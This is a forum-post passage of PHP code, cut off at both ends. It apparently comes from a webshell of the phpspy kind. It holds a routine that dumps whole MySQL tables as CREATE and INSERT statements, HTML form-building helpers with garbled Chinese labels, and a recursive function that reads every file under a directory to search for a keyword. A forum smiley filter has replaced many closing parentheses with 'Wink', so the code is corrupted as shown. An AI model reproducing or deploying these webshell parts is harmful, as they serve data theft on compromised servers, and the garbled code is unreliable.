if ($field['Extra'] != ""Wink {
$tabledump .= " $field[Extra]";
}
}
mysql_free_result($fields);

$keys = mysql_query("SHOW KEYS FROM $table"Wink;
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
mysql_free_result($keys);

while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,","Wink;

if ($kname == "PRIMARY"Wink {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE"Wink {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}

$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}

$rows = mysql_query("SELECT * FROM $table"Wink;
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";

$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}

if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}

$tabledump .= "Wink;\n";

if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
mysql_free_result($rows);
}

class FORMS {
function tableheader() {
echo "<table width=\"775\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" bgcolor=\"#ffffff\">\n";
}

function headerform($arg=array()) {
global $dir;
if ($arg[enctype]){
$enctype="enctype=\"$arg[enctype]\"";
} else {
$enctype="";
}
if (!isset($arg[method])) {
$arg[method] = "POST";
}
if (!isset($arg[action])) {
$arg[action] = '';
}
echo " <form action=\"".$arg[action]."\" method=\"".$arg[method]."\" $enctype>\n";
echo " <tr>\n";
echo " <td>".$arg[content]."</td>\n";
echo " </tr>\n";
echo " </form>\n";
}

function tdheader($title) {
global $dir;
echo " <tr class=\"firstalt\">\n";
echo " <td align=\"center\">".$title." [·µ»Ø]</td>\n";
echo " </tr>\n";
}

function tdbody($content,$align='center',$bgcolor='2',$height='',$extra='',$colspan='') {
if ($bgcolor=='2') {
$css="secondalt";
} elseif ($bgcolor=='1') {
$css="firstalt";
} else {
$css=$bgcolor;
}
$height = empty($height) ? "" : " height=".$height;
$colspan = empty($colspan) ? "" : " colspan=".$colspan;
echo " <tr class=\"".$css."\">\n";
echo " <td align=\"".$align."\"".$height." ".$colspan." ".$extra.">".$content."</td>\n";
echo " </tr>\n";
}

function tablefooter() {
echo "</table>\n";
}

function formheader($action='',$title,$target='') {
global $dir;
$target = empty($target) ? "" : " target=\"".$target."\"";
echo " <form action=\"$action\" method=\"POST\"".$target.">\n";
echo " <tr class=\"firstalt\">\n";
echo " <td align=\"center\">".$title." [·µ»Ø]</td>\n";
echo " </tr>\n";
}

function makehidden($name,$value=''){
echo "<input type=\"hidden\" name=\"$name\" value=\"$value\">\n";
}

function makeinput($name,$value='',$extra='',$type='text',$size='30',$css='input'){
$css = ($css == 'input') ? " class=\"input\"" : "";
$input = "<input name=\"$name\" value=\"$value\" type=\"$type\" ".$css." size=\"$size\" $extra>\n";
return $input;
}

function maketextarea($name,$content='',$cols='100',$rows='20',$extra=''){
$textarea = "<textarea name=\"".$name."\" cols=\"".$cols."\" rows=\"".$rows."\" ".$extra.">".$content."</textarea>\n";
return $textarea;
}

function formfooter($over='',$height=''){
$height = empty($height) ? "" : " height=\"".$height."\"";
echo " <tr class=\"secondalt\">\n";
echo " <td align=\"center\"".$height."><input class=\"input\" type=\"submit\" value=\"Č·¶¨\"></td>\n";
echo " </tr>\n";
echo " </form>\n";
echo $end = empty($over) ? "" : "</table>\n";
}

function makeselect($arg = array()){
if ($arg[multiple]==1) {
$multiple = " multiple";
if ($arg>0) {
$size = "size=$arg";
}
}
if ($arg[css]==0) {
$css = "class=\"input\"";
}
$select = "<select $css name=\"$arg[name]\"$multiple $size>\n";
if (is_array($arg[option])) {
foreach ($arg[option] AS $key=>$value) {
if (!is_array($arg[selected])) {
if ($arg[selected]==$key) {
$select .= "<option value=\"$key\" selected>$value</option>\n";
} else {
$select .= "<option value=\"$key\">$value</option>\n";
}

} elseif (is_array($arg[selected])) {
if ($arg[selected][$key]==1) {
$select .= "<option value=\"$key\" selected>$value</option>\n";
} else {
$select .= "<option value=\"$key\">$value</option>\n";
}
}
}
}
$select .= "</select>\n";
return $select;
}
}

function find($path) //²éÕҹؼü´Ê
{
global $oldkey,$type,$type2,$endline,$beline;
if(is_dir("$path"Wink){
$tempdir=opendir("$path"Wink;
while($f=readdir($tempdir)){ if($f=="."||$f==".."Winkcontinue; find("$path/$f"Wink;}
closedir($tempdir);
}else{
if(filesize("$path"Wink){
$fp=fopen("$path","r"Wink;
$msg=fread($fp, filesize("$path"Wink);
fclose($fp);
if(strpos($msg, $oldkey) !== false) {
$dir = dirname($path);
$file = basename($path);
if($type=="list"Wink{
$mymsg = explode("\n",$msg);
$long = count($mymsg);
$tmp = explode($oldkey,$msg);
$tmp = explode("\n",$tmp[0]);
$first = count($tmp);
$end = "[".$first."/".$long."]";
}
if($type2=="getpath"Wink{
$get = explode($oldkey,$m
Sva vremena su GMT +2. Trenutno vreme je 6:58 pm.